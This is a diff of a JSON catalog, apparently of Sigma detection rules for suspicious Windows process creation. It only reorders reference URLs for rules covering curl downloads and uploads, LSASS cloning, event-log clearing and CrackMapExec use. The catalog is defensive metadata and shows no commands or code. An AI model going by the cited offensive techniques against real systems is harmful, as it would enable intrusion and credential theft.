"https://twitter.com/SBousseaden/status/1184067445612535811" ], "tags": [ "attack.collection", @@ -48231,10 +48229,10 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_control_cve_2021_40444.yml", "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-40444", - "https://twitter.com/neonprimetime/status/1435584010202255375", "https://www.joesandbox.com/analysis/476188/1/iochtml", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_control_cve_2021_40444.yml" + "https://twitter.com/neonprimetime/status/1435584010202255375" ], "tags": [ "attack.execution", @@ -48257,8 +48255,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://twitter.com/rikvduijn/status/853251879320662017", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_control_dll_load.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_control_dll_load.yml", + "https://twitter.com/rikvduijn/status/853251879320662017" ], "tags": [ "attack.defense_evasion", @@ -48281,11 +48279,11 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://twitter.com/SBousseaden/status/1211636381086339073", "https://drive.google.com/file/d/1lKya3_mLnR3UQuCoiYruO3qgu052_iS_/view", - "https://www.elastic.co/guide/en/security/current/remote-file-copy-to-a-hidden-share.html", "https://www.microsoft.com/en-us/security/blog/2022/10/18/defenders-beware-a-case-for-post-ransomware-investigations/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_copy_lateral_movement.yml" + "https://twitter.com/SBousseaden/status/1211636381086339073", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_copy_lateral_movement.yml", + "https://www.elastic.co/guide/en/security/current/remote-file-copy-to-a-hidden-share.html" ], "tags": [ "attack.lateral_movement", @@ -48314,9 +48312,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_copy_system32.yml", "https://www.hybrid-analysis.com/sample/8da5b75b6380a41eee3a399c43dfe0d99eeefaa1fd21027a07b1ecaa4cd96fdd?environmentId=120", - "https://web.archive.org/web/20180331144337/https://www.fireeye.com/blog/threat-research/2018/03/sanny-malware-delivery-method-updated-in-recently-observed-attacks.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_copy_system32.yml" + "https://web.archive.org/web/20180331144337/https://www.fireeye.com/blog/threat-research/2018/03/sanny-malware-delivery-method-updated-in-recently-observed-attacks.html" ], "tags": [ "attack.defense_evasion", @@ -48363,8 +48361,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/byt3bl33d3r/CrackMapExec", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_crackmapexec_execution.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_crackmapexec_execution.yml", + "https://github.com/byt3bl33d3r/CrackMapExec" ], "tags": [ "attack.execution", @@ -48392,10 +48390,10 @@ "logsource.product": "windows", "refs": [ "https://mpgn.gitbook.io/crackmapexec/smb-protocol/authentication/checking-credentials-local", - "https://www.mandiant.com/resources/telegram-malware-iranian-espionage", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_crackmapexec_flags.yml", "https://www.infosecmatter.com/crackmapexec-module-library/?cmem=mssql-mimikatz", "https://www.infosecmatter.com/crackmapexec-module-library/?cmem=smb-pe_inject", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_crackmapexec_flags.yml" + "https://www.mandiant.com/resources/telegram-malware-iranian-espionage" ], "tags": "No established tags" }, @@ -48415,9 +48413,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/byt3bl33d3r/CrackMapExec", "https://github.com/byt3bl33d3r/CrackMapExec/blob/0a49f75347b625e81ee6aa8c33d3970b5515ea9e/cme/helpers/powershell.py#L242", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_crackmapexec_powershell_obfuscation.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_crackmapexec_powershell_obfuscation.yml", + "https://github.com/byt3bl33d3r/CrackMapExec" ], "tags": [ "attack.execution", @@ -48442,8 +48440,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://twitter.com/SBousseaden/status/1094924091256176641", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_csc.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_csc.yml", + "https://twitter.com/SBousseaden/status/1094924091256176641" ], "tags": [ "attack.execution", @@ -48470,8 +48468,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1059.005/T1059.005.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_cscript_vbs.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_cscript_vbs.yml", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1059.005/T1059.005.md" ], "tags": [ "attack.execution", @@ -48495,11 +48493,11 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://securityboulevard.com/2019/08/agent-tesla-evading-edr-by-removing-api-hooks/", "https://www.clearskysec.com/wp-content/uploads/2018/11/MuddyWater-Operations-in-Lebanon-and-Oman.pdf", - "https://app.any.run/tasks/c6993447-d1d8-414e-b856-675325e5aa09/", + "https://securityboulevard.com/2019/08/agent-tesla-evading-edr-by-removing-api-hooks/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_csc_folder.yml", "https://twitter.com/gN3mes1s/status/1206874118282448897", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_csc_folder.yml" + "https://app.any.run/tasks/c6993447-d1d8-414e-b856-675325e5aa09/" ], "tags": [ "attack.defense_evasion", @@ -48522,9 +48520,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_csexec.yml", "https://github.com/malcomvetter/CSExec", - "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_csexec.yml" + "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/" ], "tags": [ "attack.resource_development", @@ -48550,10 +48548,10 @@ "logsource.product": "windows", "refs": [ "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Csi/", - "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Rcsi/", "https://enigma0x3.net/2016/11/21/bypassing-application-whitelisting-by-using-rcsi-exe/", "https://twitter.com/Z3Jpa29z/status/1317545798981324801", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_csi.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_csi.yml", + "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Rcsi/" ], "tags": [ "attack.execution", @@ -48578,11 +48576,11 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://twitter.com/max_mal_/status/1542461200797163522", - "https://web.archive.org/web/20200128160046/https://twitter.com/reegun21/status/1222093798009790464", - "https://github.com/pr0xylife/Qakbot/blob/4f0795d79dabee5bc9dd69f17a626b48852e7869/Qakbot_AA_23.06.2022.txt", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_curl_download.yml", "https://www.volexity.com/blog/2022/07/28/sharptongue-deploys-clever-mail-stealing-browser-extension-sharpext/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_curl_download.yml" + "https://github.com/pr0xylife/Qakbot/blob/4f0795d79dabee5bc9dd69f17a626b48852e7869/Qakbot_AA_23.06.2022.txt", + "https://twitter.com/max_mal_/status/1542461200797163522", + "https://web.archive.org/web/20200128160046/https://twitter.com/reegun21/status/1222093798009790464" ], "tags": [ "attack.command_and_control", @@ -48605,11 +48603,11 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://twitter.com/d1r4c/status/1279042657508081664", - "https://medium.com/@petehouston/upload-files-with-curl-93064dcccc76", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1105/T1105.md#atomic-test-19---curl-upload-file", "https://curl.se/docs/manpage.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_curl_fileupload.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_curl_fileupload.yml", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1105/T1105.md#atomic-test-19---curl-upload-file", + "https://twitter.com/d1r4c/status/1279042657508081664", + "https://medium.com/@petehouston/upload-files-with-curl-93064dcccc76" ], "tags": [ "attack.exfiltration", @@ -48633,8 +48631,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://medium.com/@reegun/curl-exe-is-the-new-rundll32-exe-lolbin-3f79c5f35983", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_curl_start_combo.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_curl_start_combo.yml", + "https://medium.com/@reegun/curl-exe-is-the-new-rundll32-exe-lolbin-3f79c5f35983" ], "tags": [ "attack.execution", @@ -48660,8 +48658,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://curl.se/docs/manpage.html", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1071.001/T1071.001.md#atomic-test-2---malicious-user-agents---cmd", + "https://curl.se/docs/manpage.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_curl_useragent.yml" ], "tags": [ @@ -48711,8 +48709,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.joesandbox.com/analysis/509330/0/html#1044F3BDBE3BB6F734E357235F4D5898582D", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_del.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_del.yml", + "https://www.joesandbox.com/analysis/509330/0/html#1044F3BDBE3BB6F734E357235F4D5898582D" ], "tags": [ "attack.defense_evasion", @@ -48735,9 +48733,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_desktopimgdownldr.yml", "https://labs.sentinelone.com/living-off-windows-land-a-new-native-file-downldr/", - "https://twitter.com/SBousseaden/status/1278977301745741825", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_desktopimgdownldr.yml" + "https://twitter.com/SBousseaden/status/1278977301745741825" ], "tags": [ "attack.command_and_control", @@ -48785,9 +48783,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Devtoolslauncher/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_devtoolslauncher.yml", "https://twitter.com/_felamos/status/1179811992841797632", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_devtoolslauncher.yml" + "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Devtoolslauncher/" ], "tags": [ "attack.defense_evasion", @@ -48861,9 +48859,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://twitter.com/0gtweet/status/1359039665232306183?s=21", "https://ss64.com/nt/logman.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_disable_eventlog.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_disable_eventlog.yml", + "https://twitter.com/0gtweet/status/1359039665232306183?s=21" ], "tags": [ "attack.defense_evasion", @@ -48936,8 +48934,8 @@ "logsource.product": "windows", "refs": [ "https://bohops.com/2018/03/26/diskshadow-the-return-of-vss-evasion-persistence-and-active-directory-database-extraction/", - "https://www.ired.team/offensive-security/credential-access-and-credential-dumping/ntds.dit-enumeration", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_diskshadow.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_diskshadow.yml", + "https://www.ired.team/offensive-security/credential-access-and-credential-dumping/ntds.dit-enumeration" ], "tags": [ "attack.execution", @@ -48985,9 +48983,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://redcanary.com/blog/child-processes/", "https://nasbench.medium.com/what-is-the-dllhost-exe-process-actually-running-ef9fe4c19c08", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_dllhost_no_cli.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_dllhost_no_cli.yml", + "https://redcanary.com/blog/child-processes/" ], "tags": [ "attack.defense_evasion", @@ -49011,8 +49009,8 @@ "logsource.product": "windows", "refs": [ "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Csi/", - "https://enigma0x3.net/2016/11/17/bypassing-application-whitelisting-by-using-dnx-exe/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_dnx.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_dnx.yml", + "https://enigma0x3.net/2016/11/17/bypassing-application-whitelisting-by-using-dnx-exe/" ], "tags": [ "attack.defense_evasion", @@ -49036,8 +49034,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://blu3-team.blogspot.com/2019/06/misleading-extensions-xlsexe-docexe.html", "https://twitter.com/blackorbird/status/1140519090961825792", + "https://blu3-team.blogspot.com/2019/06/misleading-extensions-xlsexe-docexe.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_double_extension.yml" ], "tags": [ @@ -49062,8 +49060,8 @@ "logsource.product": "windows", "refs": [ "https://twitter.com/an0n_r0/status/1474698356635193346?s=12", - "https://twitter.com/mrd0x/status/1475085452784844803?s=12", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_download_office_domain.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_download_office_domain.yml", + "https://twitter.com/mrd0x/status/1475085452784844803?s=12" ], "tags": "No established tags" }, @@ -49083,8 +49081,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://twitter.com/0gtweet/status/1474899714290208777?s=12", "https://docs.microsoft.com/en-us/windows-hardware/drivers/devtest/dtrace", + "https://twitter.com/0gtweet/status/1474899714290208777?s=12", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_dtrace_kernel_dump.yml" ], "tags": "No established tags" @@ -49105,9 +49103,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://taggart-tech.com/quasar-electron/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_electron_app_children.yml", "https://github.com/mttaggart/quasar", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_electron_app_children.yml" + "https://taggart-tech.com/quasar-electron/" ], "tags": [ "attack.execution" @@ -49154,9 +49152,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://twitter.com/vxunderground/status/1423336151860002816", - "https://attack.mitre.org/software/S0404/", "https://thedfirreport.com/2021/08/01/bazarcall-to-conti-ransomware-via-trickbot-and-cobalt-strike/", + "https://attack.mitre.org/software/S0404/", + "https://twitter.com/vxunderground/status/1423336151860002816", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_esentutl_params.yml" ], "tags": [ @@ -49182,8 +49180,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.001/T1070.001.md", "https://eqllib.readthedocs.io/en/latest/analytics/5b223758-07d6-4100-9e11-238cfdd0fe97.html", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.001/T1070.001.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_eventlog_clear.yml" ], "tags": [ @@ -49209,9 +49207,9 @@ "logsource.product": "windows", "refs": [ "https://github.com/mbevilacqua/appcompatprocessor/blob/6c847937c5a836e2ce2fe2b915f213c345a3c389/AppCompatSearch.txt", - "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses", "https://www.crowdstrike.com/resources/reports/2019-crowdstrike-global-threat-report/", "https://github.com/ThreatHuntingProject/ThreatHunting/blob/cb22598bb70651f88e0285abc8d835757d2cb596/hunts/suspicious_process_creation_via_windows_event_logs.md", + "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_execution_path.yml" ], "tags": [ @@ -49283,9 +49281,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ + "https://twitter.com/nas_bench/status/1535322450858233858", "https://twitter.com/CyberRaiju/status/1273597319322058752", "https://twitter.com/bohops/status/1276357235954909188?s=12", - "https://twitter.com/nas_bench/status/1535322450858233858", "https://securityboulevard.com/2019/09/deobfuscating-ostap-trickbots-34000-line-javascript-downloader/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_explorer_break_proctree.yml" ], @@ -49335,8 +49333,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://securelist.com/muddywater/88059/", "https://www.virustotal.com/#/file/276a765a10f98cda1a38d3a31e7483585ca3722ecad19d784441293acf1b7beb/detection", + "https://securelist.com/muddywater/88059/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_file_characteristics.yml" ], "tags": [ @@ -49435,8 +49433,8 @@ "logsource.product": "windows", "refs": [ "https://twitter.com/bigmacjpg/status/1349727699863011328?s=12", - "https://app.any.run/tasks/40115012-a919-4208-bfed-41e82cb3dadf/", "http://hyp3rlinx.altervista.org/advisories/Windows_TCPIP_Finger_Command_C2_Channel_and_Bypassing_Security_Software.txt", + "https://app.any.run/tasks/40115012-a919-4208-bfed-41e82cb3dadf/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_finger_usage.yml" ], "tags": [ @@ -49485,10 +49483,10 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/fsutil-usn", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070/T1070.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_fsutil_usage.yml", "https://eqllib.readthedocs.io/en/latest/analytics/c91f422a-5214-4b17-8664-c5fcf115c0a2.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_fsutil_usage.yml" + "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/fsutil-usn", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070/T1070.md" ], "tags": [ "attack.defense_evasion", @@ -49512,10 +49510,10 @@ "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1615/T1615.md", - "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/gpresult", - "https://unit42.paloaltonetworks.com/emissary-trojan-changelog-did-operation-lotus-blossom-cause-it-to-evolve/", "https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_gpresult.yml" + "https://unit42.paloaltonetworks.com/emissary-trojan-changelog-did-operation-lotus-blossom-cause-it-to-evolve/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_gpresult.yml", + "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/gpresult" ], "tags": [ "attack.discovery", @@ -49587,8 +49585,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://twitter.com/nas_bench/status/1535322182863179776", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_gup_download.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_gup_download.yml", + "https://twitter.com/nas_bench/status/1535322182863179776" ], "tags": [ "attack.command_and_control", @@ -49611,8 +49609,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://twitter.com/nas_bench/status/1535322445439180803", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_gup_execution.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_gup_execution.yml", + "https://twitter.com/nas_bench/status/1535322445439180803" ], "tags": [ "attack.execution" @@ -49634,9 +49632,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1082/T1082.md#atomic-test-6---hostname-discovery-windows", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_hostname.yml", "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/hostname", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_hostname.yml" + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1082/T1082.md#atomic-test-6---hostname-discovery-windows" ], "tags": [ "attack.discovery", @@ -49703,8 +49701,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://securelist.com/moonbounce-the-dark-side-of-uefi-firmware/105468/", "https://docs.microsoft.com/en-us/dotnet/framework/tools/installutil-exe-installer-tool", + "https://securelist.com/moonbounce-the-dark-side-of-uefi-firmware/105468/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_instalutil.yml" ], "tags": [ @@ -49751,9 +49749,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://researchcenter.paloaltonetworks.com/2018/01/unit42-oilrig-uses-rgdoor-iis-backdoor-targets-middle-east/", "https://www.microsoft.com/security/blog/2022/07/26/malicious-iis-extensions-quietly-open-persistent-backdoors-into-servers/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_iss_module_install.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_iss_module_install.yml", + "https://researchcenter.paloaltonetworks.com/2018/01/unit42-oilrig-uses-rgdoor-iis-backdoor-targets-middle-east/" ], "tags": [ "attack.persistence", @@ -49776,8 +49774,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/9e5b12c4912c07562aec7500447b11fa3e17e254/atomics/T1529/T1529.md", "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/shutdown", + "https://github.com/redcanaryco/atomic-red-team/blob/9e5b12c4912c07562aec7500447b11fa3e17e254/atomics/T1529/T1529.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_logoff.yml" ], "tags": [ @@ -49801,9 +49799,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/pr0xylife/Qakbot/blob/main/Qakbot_BB_30.09.2022.txt", "https://app.any.run/tasks/4985c746-601e-401a-9ccf-ae350ac2e887/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_lolbin_non_c_drive.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_lolbin_non_c_drive.yml", + "https://github.com/pr0xylife/Qakbot/blob/main/Qakbot_BB_30.09.2022.txt" ], "tags": [ "attack.execution", @@ -49827,8 +49825,8 @@ "logsource.product": "windows", "refs": [ "https://www.matteomalvica.com/blog/2019/12/02/win-defender-atp-cred-bypass/", - "https://twitter.com/Hexacorn/status/1420053502554951689", "https://twitter.com/SBousseaden/status/1464566846594691073?s=20", + "https://twitter.com/Hexacorn/status/1420053502554951689", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_lsass_clone.yml" ], "tags": [ @@ -49877,8 +49875,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/elastic/protections-artifacts/commit/746086721fd385d9f5c6647cada1788db4aea95f#diff-e34e43eb5666427602ddf488b2bf3b545bd9aae81af3e6f6c7949f9652abdf18", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_microsoft_onenote_child_process.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_microsoft_onenote_child_process.yml", + "https://github.com/elastic/protections-artifacts/commit/746086721fd385d9f5c6647cada1788db4aea95f#diff-e34e43eb5666427602ddf488b2bf3b545bd9aae81af3e6f6c7949f9652abdf18" ], "tags": [ "attack.t1566", @@ -49902,9 +49900,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://twitter.com/cyb3rops/status/1562072617552678912", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_missing_spaces.yml", "https://ss64.com/nt/cmd.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_missing_spaces.yml" + "https://twitter.com/cyb3rops/status/1562072617552678912" ], "tags": [ "attack.execution", @@ -49927,9 +49925,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://thedfirreport.com/2022/07/11/select-xmrig-from-sqlserver/", - "https://github.com/The-DFIR-Report/Sigma-Rules/blob/75260568a7ffe61b2458ca05f6f25914efb44337/win_mofcomp_execution.yml", "https://docs.microsoft.com/en-us/windows/win32/wmisdk/mofcomp", + "https://github.com/The-DFIR-Report/Sigma-Rules/blob/75260568a7ffe61b2458ca05f6f25914efb44337/win_mofcomp_execution.yml", + "https://thedfirreport.com/2022/07/11/select-xmrig-from-sqlserver/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_mofcomp_execution.yml" ], "tags": [ @@ -49977,9 +49975,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_mpiexec_lolbin.yml", "https://twitter.com/mrd0x/status/1465058133303246867", - "https://docs.microsoft.com/en-us/powershell/high-performance-computing/mpiexec?view=hpc19-ps", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_mpiexec_lolbin.yml" + "https://docs.microsoft.com/en-us/powershell/high-performance-computing/mpiexec?view=hpc19-ps" ], "tags": [ "attack.execution", @@ -50003,12 +50001,12 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "http://blog.sevagas.com/?Hacking-around-HTA-files", - "https://0x00sec.org/t/clientside-exploitation-in-2018-how-pentesting-has-changed/7356", - "https://docs.microsoft.com/en-us/dotnet/standard/data/xml/xslt-stylesheet-scripting-using-msxsl-script", "https://medium.com/tsscyber/pentesting-and-hta-bypassing-powershell-constrained-language-mode-53a42856c997", "https://twitter.com/mattifestation/status/1326228491302563846", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_mshta_execution.yml" + "https://0x00sec.org/t/clientside-exploitation-in-2018-how-pentesting-has-changed/7356", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_mshta_execution.yml", + "http://blog.sevagas.com/?Hacking-around-HTA-files", + "https://docs.microsoft.com/en-us/dotnet/standard/data/xml/xslt-stylesheet-scripting-using-msxsl-script" ], "tags": [ "attack.defense_evasion", @@ -50035,10 +50033,10 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - 